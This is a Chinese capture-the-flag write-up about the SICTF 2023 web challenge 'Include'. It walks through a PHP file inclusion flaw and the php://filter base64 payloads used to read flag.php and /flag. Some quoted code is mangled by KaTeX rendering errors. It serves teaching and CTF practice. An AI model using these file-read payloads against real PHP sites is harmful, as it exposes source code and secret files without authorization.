前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2023SICTF-web-白猫-[签到]Include

2023SICTF-web-白猫-[签到]Include

作者头像
用户8909609
发布2023-11-29 10:42:32
2950
发布2023-11-29 10:42:32
举报
文章被收录于专栏:BM CTF

0×01 分析题目

#题目名称: [签到]Include #题目简介: flag位于flag.php,是一个非常简单的文件包含捏~ #题目环境: http://210.44.151.51:10035/ #函数理解: substr() 函数返回字符串的一部分 如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。 语法 substr(string,start,length) 参数string,必需,规定要返回其中一部分的字符串 参数start,必需,规定在字符串的何处开始 正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始 0 - 在字符串中的第一个字符处开始,(n-1) #环境代码: <?php #PHP开始代码,头代码 error_reporting(0); #屏蔽报错信息 if (isset(KaTeX parse error: Expected '}', got '#' at position 60: … #̲_GET函数获取SICTF变量的数据,isset函数用来检测SICTF变量是否存在并且是否非空(NULL),if循环判断语句条件满足继续向下执行 if ( substr(KaTeX parse error: Expected '}', got '#' at position 42: …php" ) { #̲substr函数返回SICTF…_GET[“SICTF”]); #include函数包含并执行文件,执行SICTF变量值里面的文件,并且返回结果 }

代码语言:javascript
复制
    else {                                                            	#反之
        echo "你干嘛~~~";                                              	#输出 你干嘛~~~
    }
}else {                                                               #反之
    highlight_file(__FILE__);                                         #highlight_file() 函数对文件进行语法高亮显示,继续呈现页面代码
}                                                                     #结束

#初次尝试: 1.payload: URL/?SICTF=1; 回显结果: 你干嘛~~~ 2.payload: URL/?SICTF=php; 回显结果: 你好厉害呀~~~ 条件达成但是并没有回显flag

考虑到题目名称和题目简介以及环境代码中的include文件包含函数 猜测需要用到php://filter伪协议来绕过文件包含

0×02 开始解题

#进行PHP伪协议伪造

伪造之前先了解,PHP伪协议构造的规则 php://filter/过滤器|过滤器/resource=待过滤的数据流 web中大部分都是BASE64编码格式,那么我们过滤器就用convert.base64-encode 构造后: php://filter/convert.base64-encode/resource=flag.php 完整payload:

代码语言:javascript
复制
1. URL/?SICTF=php://filter/convert.base64-encode/resource=flag.php
2. URL/?SICTF=php://filter/read=convert.base64-encode/resource=flag.php

拆分解析: ?是起始符可以理解为连接拼接的意思 URL是环境链接 SICTF是题目中给的变量 =是赋值的意思 php://filter是伪协议 convert转换,base64,encode编码 resource=flag.php转换到flag.php文件中,就是说把flag.php文件转换为base64编码格式 上传payload 回显结果: 你好厉害呀~~~PD9waHAKJGZpbGVfcGF0aCA9ICIvZmxhZyI7CmlmIChmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgewogICAgJGZsYWcgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZV9wYXRoKTsKfQplbHNlewogICAgZWNobyAiZXJyb3IiOwp9Cg== 显而易见这是base64编码 送去base64解码,结果: <?php #PHP开始,头代码 KaTeX parse error: Expected 'EOF', got '#' at position 54: … #̲file_path文件路径,/根目录下的flag if (file_exists($file_path)) { #file_exists检查根目录下的flag文件或目录是否存在,if循环判断语句,条件满足继续向下执行

flag = file_get_contents(

file_path); #file_get_contents() 函数把根目录下的flag整个文件读入一个

flag字符串中,

flag定义的flag变量 } else{ #反之 echo “error”; #输出 error } #结束 通过分析以上代码可知,此flag文件可能是文本文件,并且在/根目录下 所以说resource待过滤的数据流不是flag.php而是/flag 重新构造payload: URL/?SICTF=php://filter/convert.base64-encode/resource=/flag 上传payload后数据流/flag传入

file_path参数里面,继续向下执行 进入到if循环判断语句中,检擦到

file_path参数变量/flag根目录下的flag文件存在,继续向下执行 file_get_contents() 函数把根目录下的flag整个文件读入一个

flag字符串参数中,并回显

flag字符串参数的值

再一次拿到base64编码: 你好厉害呀~~~U0lDVEZ7ZjZiYzQ1NTQtMDU5Mi00ODdkLTk5ZDQtNTAzZTQ0YWM0ODIyfQo= 送去base64解码 #拿到flag SICTF{f6bc4554-0592-487d-99d4-503e44ac4822}

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-11-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0×01 分析题目
  • 0×02 开始解题
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档